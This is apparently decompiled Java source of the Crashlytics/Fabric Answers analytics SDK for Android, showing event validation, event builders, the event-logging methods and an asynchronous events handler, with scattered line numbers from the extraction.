}


23
24
25
26

public AnswersEventValidator(int maxNumAttributes, int maxStringLength, boolean failFast) {
    this.maxNumAttributes = maxNumAttributes;
    this.maxStringLength = maxStringLength;
    this.failFast = failFast;
}


12
13
14
15
16

public String limitStringLength(String value) {
    if (value.length() <= this.maxStringLength) {
        return value;
    }
    logOrThrowException(new IllegalArgumentException(String.format(Locale.US, "String is too long, truncating to %d characters", new Object[]{Integer.valueOf(this.maxStringLength)})));
    return value.substring(0, this.maxStringLength);
}


18
19
20
21
22
23
24

public boolean isNull(Object object, String paramName) {
    if (object != null) {
        return false;
    }
    logOrThrowException(new NullPointerException(paramName + " must not be null"));
    return true;
}


26
27
28
29
30
31
32

public boolean isFullMap(Map<String, Object> attributeMap, String key) {
    if (attributeMap.size() < this.maxNumAttributes || attributeMap.containsKey(key)) {
        return false;
    }
    logOrThrowException(new IllegalArgumentException(String.format(Locale.US, "Limit of %d attributes reached, skipping attribute", new Object[]{Integer.valueOf(this.maxNumAttributes)})));
    return true;
}


34
35
36
37
38
39
40

private void logOrThrowException(RuntimeException ex) {
    if (this.failFast) {
        throw ex;
    }
    Fabric.getLogger().e(Answers.TAG, "Invalid user input detected", ex);
}


42
43
44
45
46
47

public CustomEvent(String eventName) {
    if (eventName == null) {
        throw new NullPointerException("eventName must not be null");
    }
    this.eventName = this.validator.limitStringLength(eventName);
}


6
7
8
9
10
11

String getCustomType() {
    return this.eventName;
}


13
14
15

public String toString() {
    return "{eventName:\"" + this.eventName + '\"' + ", customAttributes:" + this.customAttributes + "}";
}


17
18
19

public static Builder lifecycleEventBuilder(Type type, Activity activity) {
    return new Builder(type).details(Collections.singletonMap(ACTIVITY_KEY, activity.getClass().getName()));
}


76
77
78

public static Builder installEventBuilder(long installedAt) {
    return new Builder(Type.INSTALL).details(Collections.singletonMap(INSTALLED_AT_KEY, String.valueOf(installedAt)));
}


80
81
82

public static Builder crashEventBuilder(String sessionId) {
    return new Builder(Type.CRASH).details(Collections.singletonMap(SESSION_ID_KEY, sessionId));
}


84
85
86

public static Builder crashEventBuilder(String sessionId, String exceptionName) {
    return crashEventBuilder(sessionId).customAttributes(Collections.singletonMap(EXCEPTION_NAME_KEY, exceptionName));
}


88
89
90

public static Builder customEventBuilder(CustomEvent event) {
    return new Builder(Type.CUSTOM).customType(event.getCustomType()).customAttributes(event.getCustomAttributes());
}


92
93
94

public static Builder predefinedEventBuilder(PredefinedEvent<?> event) {
    return new Builder(Type.PREDEFINED).predefinedType(event.getPredefinedType()).predefinedAttributes(event.getPredefinedAttributes()).customAttributes(event.getCustomAttributes());
}


96
97
98

private SessionEvent(SessionEventMetadata sessionEventMetadata, long timestamp, Type type, Map<String, String> details, String customType, Map<String, Object> customAttributes, String predefinedType, Map<String, Object> predefinedAttributes) {
    this.sessionEventMetadata = sessionEventMetadata;
    this.timestamp = timestamp;
    this.type = type;
    this.details = details;
    this.customType = customType;
    this.customAttributes = customAttributes;
    this.predefinedType = predefinedType;
    this.predefinedAttributes = predefinedAttributes;
}


100
101
102
103
104
105
106
107
108
109

public String toString() {
    if (this.stringRepresentation == null) {
        this.stringRepresentation = "[" + getClass().getSimpleName() + ": " + "timestamp=" + this.timestamp + ", type=" + this.type + ", details=" + this.details + ", customType=" + this.customType + ", customAttributes=" + this.customAttributes + ", predefinedType=" + this.predefinedType + ", predefinedAttributes=" + this.predefinedAttributes + ", metadata=[" + this.sessionEventMetadata + "]]";
    }
    return this.stringRepresentation;
}


111
112
113
114
115
116

public Builder(Type type) {
    this.type = type;
}


31
32
33

public Builder details(Map<String, String> details) {
    this.details = details;
    return this;
}


35
36
37
38

public Builder customType(String customType) {
    this.customType = customType;
    return this;
}


40
41
42
43

public Builder customAttributes(Map<String, Object> customAttributes) {
    this.customAttributes = customAttributes;
    return this;
}


45
46
47
48

public Builder predefinedType(String predefinedType) {
    this.predefinedType = predefinedType;
    return this;
}


50
51
52
53

public Builder predefinedAttributes(Map<String, Object> predefinedAttributes) {
    this.predefinedAttributes = predefinedAttributes;
    return this;
}


55
56
57
58

public SessionEvent build(SessionEventMetadata sessionEventMetadata) {
    return new SessionEvent(sessionEventMetadata, this.timestamp, this.type, this.details, this.customType, this.customAttributes, this.predefinedType, this.predefinedAttributes);
}


60
61
62

public RatingEvent putContentId(String contentId) {
    this.predefinedAttributes.put(CONTENT_ID_ATTRIBUTE, contentId);
    return this;
}


10
11
12
13

public RatingEvent putContentName(String contentName) {
    this.predefinedAttributes.put(CONTENT_NAME_ATTRIBUTE, contentName);
    return this;
}


15
16
17
18

public RatingEvent putContentType(String contentType) {
    this.predefinedAttributes.put(CONTENT_TYPE_ATTRIBUTE, contentType);
    return this;
}


20
21
22
23

public RatingEvent putRating(int rating) {
    this.predefinedAttributes.put("rating", Integer.valueOf(rating));
    return this;
}


25
26
27
28

String getPredefinedType() {
    return "rating";
}


30
31
32

public boolean skipEvent(SessionEvent sessionEvent) {
    return false;
}


7
8
9

public LevelEndEvent putLevelName(String levelName) {
    this.predefinedAttributes.put(LEVEL_NAME_ATTRIBUTE, levelName);
    return this;
}


9
10
11
12

public LevelEndEvent putScore(Number score) {
    this.predefinedAttributes.put(SCORE_ATTRIBUTE, score);
    return this;
}


14
15
16
17

public LevelEndEvent putSuccess(boolean success) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, success ? "true" : "false");
    return this;
}


19
20
21
22

String getPredefinedType() {
    return TYPE;
}


24
25
26

Map<String, Object> getPredefinedAttributes() {
    return this.predefinedAttributes.attributes;
}


10
11
12

public String toString() {
    return "{type:\"" + getPredefinedType() + '\"' + ", predefinedAttributes:" + this.predefinedAttributes + ", customAttributes:" + this.customAttributes + "}";
}


14
15
16

public static Answers getInstance() {
    return (Answers) Fabric.getKit(Answers.class);
}


25
26
27

public void logCustom(CustomEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logCustom");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onCustom(event);
    }
}


29
30
31
32
33
34
35
36
37

public void logPurchase(PurchaseEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logPurchase");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


39
40
41
42
43
44
45
46
47

public void logLogin(LoginEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLogin");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


49
50
51
52
53
54
55
56
57

public void logShare(ShareEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logShare");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


59
60
61
62
63
64
65
66
67

public void logInvite(InviteEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logInvite");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


69
70
71
72
73
74
75
76
77

public void logSignUp(SignUpEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logSignUp");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


79
80
81
82
83
84
85
86
87

public void logLevelStart(LevelStartEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLevelStart");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


89
90
91
92
93
94
95
96
97

public void logLevelEnd(LevelEndEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLevelEnd");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


99
100
101
102
103
104
105
106
107

public void logAddToCart(AddToCartEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logAddToCart");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


109
110
111
112
113
114
115
116
117

public void logStartCheckout(StartCheckoutEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logStartCheckout");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


119
120
121
122
123
124
125
126
127

public void logRating(RatingEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logRating");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


129
130
131
132
133
134
135
136
137

public void logContentView(ContentViewEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logContentView");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


139
140
141
142
143
144
145
146
147

public void logSearch(SearchEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logSearch");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}


149
150
151
152
153
154
155
156
157

public void onException(LoggedException exception) {
    if (this.analyticsManager != null) {
        this.analyticsManager.onError(exception.getSessionId());
    }
}


159
160
161
162
163

public void onException(FatalException exception) {
    if (this.analyticsManager != null) {
        this.analyticsManager.onCrash(exception.getSessionId(), exception.getExceptionName());
    }
}


165
166
167
168
169

protected boolean onPreExecute() {
    try {
        long installedAt;
        Context context = getContext();
        PackageManager packageManager = context.getPackageManager();
        String packageName = context.getPackageName();
        PackageInfo packageInfo = packageManager.getPackageInfo(packageName, 0);
        String versionCode = Integer.toString(packageInfo.versionCode);
        String versionName = packageInfo.versionName == null ? IdManager.DEFAULT_VERSION_NAME : packageInfo.versionName;
        if (VERSION.SDK_INT >= 9) {
            installedAt = packageInfo.firstInstallTime;
        } else {
            installedAt = new File(packageManager.getApplicationInfo(packageName, 0).sourceDir).lastModified();
        }
        this.analyticsManager = SessionAnalyticsManager.build(this, context, getIdManager(), versionCode, versionName, installedAt);
        this.analyticsManager.enable();
        this.firebaseEnabled = new FirebaseInfo().isFirebaseCrashlyticsEnabled(context);
        return true;
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Error retrieving app properties", e);
        return false;
    }
}


172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194

protected Boolean doInBackground() {
    try {
        SettingsData settingsData = Settings.getInstance().awaitSettingsData();
        if (settingsData == null) {
            Fabric.getLogger().e(TAG, "Failed to retrieve settings");
            return Boolean.valueOf(false);
        } else if (settingsData.featuresData.collectAnalytics) {
            Fabric.getLogger().d(TAG, "Analytics collection enabled");
            this.analyticsManager.setAnalyticsSettingsData(settingsData.analyticsSettingsData, getOverridenSpiEndpoint());
            return Boolean.valueOf(true);
        } else {
            Fabric.getLogger().d(TAG, "Analytics collection disabled");
            this.analyticsManager.disable();
            return Boolean.valueOf(false);
        }
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Error dealing with settings", e);
        return Boolean.valueOf(false);
    }
}


196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215

public String getIdentifier() {
    return "com.crashlytics.sdk.android:answers";
}


217
218
219

public String getVersion() {
    return "1.4.1.19";
}


221
222
223

String getOverridenSpiEndpoint() {
    return CommonUtils.getStringsFileValue(getContext(), CRASHLYTICS_API_ENDPOINT);
}


225
226
227

private void logFirebaseModeEnabledWarning(String method) {
    Fabric.getLogger().w(TAG, "Method " + method + " is not supported when using Crashlytics through Firebase.");
}


229
230
231

public SignUpEvent putMethod(String signUpMethod) {
    this.predefinedAttributes.put(METHOD_ATTRIBUTE, signUpMethod);
    return this;
}


8
9
10
11

public SignUpEvent putSuccess(boolean signUpSucceeded) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, Boolean.toString(signUpSucceeded));
    return this;
}


13
14
15
16

String getPredefinedType() {
    return TYPE;
}


18
19
20

public AnswersEventsHandler(Kit kit, Context context, AnswersFilesManagerProvider filesManagerProvider, SessionMetadataCollector metadataCollector, HttpRequestFactory requestFactory, ScheduledExecutorService executor, FirebaseAnalyticsApiAdapter firebaseAnalyticsApiAdapter) {
    this.kit = kit;
    this.context = context;
    this.filesManagerProvider = filesManagerProvider;
    this.metadataCollector = metadataCollector;
    this.requestFactory = requestFactory;
    this.executor = executor;
    this.firebaseAnalyticsApiAdapter = firebaseAnalyticsApiAdapter;
}


21
22
23
24
25
26
27
28
29

public void processEventAsync(Builder eventBuilder) {
    processEvent(eventBuilder, false, false);
}


31
32
33

public void processEventAsyncAndFlush(Builder eventBuilder) {
    processEvent(eventBuilder, false, true);
}


35
36
37

public void processEventSync(Builder eventBuilder) {
    processEvent(eventBuilder, true, false);
}


39
40
41

public void setAnalyticsSettingsData(final AnalyticsSettingsData analyticsSettingsData, final String protocolAndHostOverride) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.setAnalyticsSettingsData(analyticsSettingsData, protocolAndHostOverride);
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to set analytics settings data", e);
            }
        }
    });
}


43
44
45
46
47
48
49
50
51
52
53

public void run() {
    try {
        AnswersEventsHandler.this.strategy.setAnalyticsSettingsData(analyticsSettingsData, protocolAndHostOverride);
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to set analytics settings data", e);
    }
}


45
46
47
48
49
50
51

public void disable() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                SessionAnalyticsManagerStrategy prevStrategy = AnswersEventsHandler.this.strategy;
                AnswersEventsHandler.this.strategy = new DisabledSessionAnalyticsManagerStrategy();
                prevStrategy.deleteAllEvents();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to disable events", e);
            }
        }
    });
}


55
56
57
58
59
60
61
62
63
64
65
66
67

public void run() {
    try {
        SessionAnalyticsManagerStrategy prevStrategy = AnswersEventsHandler.this.strategy;
        AnswersEventsHandler.this.strategy = new DisabledSessionAnalyticsManagerStrategy();
        prevStrategy.deleteAllEvents();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to disable events", e);
    }
}


57
58
59
60
61
62
63
64
65

public void onRollOver(String rolledOverFile) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.sendEvents();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to send events files", e);
            }
        }
    });
}


69
70
71
72
73
74
75
76
77
78
79

public void run() {
    try {
        AnswersEventsHandler.this.strategy.sendEvents();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to send events files", e);
    }
}


71
72
73
74
75
76
77

public void enable() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                SessionEventMetadata metadata = AnswersEventsHandler.this.metadataCollector.getMetadata();
                SessionAnalyticsFilesManager filesManager = AnswersEventsHandler.this.filesManagerProvider.getAnalyticsFilesManager();
                filesManager.registerRollOverListener(AnswersEventsHandler.this);
                AnswersEventsHandler.this.strategy = new EnabledSessionAnalyticsManagerStrategy(AnswersEventsHandler.this.kit, AnswersEventsHandler.this.context, AnswersEventsHandler.this.executor, filesManager, AnswersEventsHandler.this.requestFactory, metadata, AnswersEventsHandler.this.firebaseAnalyticsApiAdapter);
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to enable events", e);
            }
        }
    });
}


81
82
83
84
85
86
87
88
89
90
91
92
93
94

public void run() {
    try {
        SessionEventMetadata metadata = AnswersEventsHandler.this.metadataCollector.getMetadata();
        SessionAnalyticsFilesManager filesManager = AnswersEventsHandler.this.filesManagerProvider.getAnalyticsFilesManager();
        filesManager.registerRollOverListener(AnswersEventsHandler.this);
        AnswersEventsHandler.this.strategy = new EnabledSessionAnalyticsManagerStrategy(AnswersEventsHandler.this.kit, AnswersEventsHandler.this.context, AnswersEventsHandler.this.executor, filesManager, AnswersEventsHandler.this.requestFactory, metadata, AnswersEventsHandler.this.firebaseAnalyticsApiAdapter);
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to enable events", e);
    }
}


83
84
85
86
87
88
89
90
91
92

public void flushEvents() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.rollFileOver();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to flush events", e);
            }
        }
    });
}


96
97
98
99
100
101
102
103
104
105
106

public void run() {
    try {
        AnswersEventsHandler.this.strategy.rollFileOver();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to flush events", e);
    }
}


98
99
100
101
102
103
104

void processEvent(final Builder eventBuilder, boolean sync, final boolean flush) {
    Runnable runnable = new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.processEvent(eventBuilder);
                if (flush) {
                    AnswersEventsHandler.this.strategy.rollFileOver();
                }
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to process event", e);
            }
        }
    };
    if (sync) {
        executeSync(runnable);
    } else {
        executeAsync(runnable);
    }
}


108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126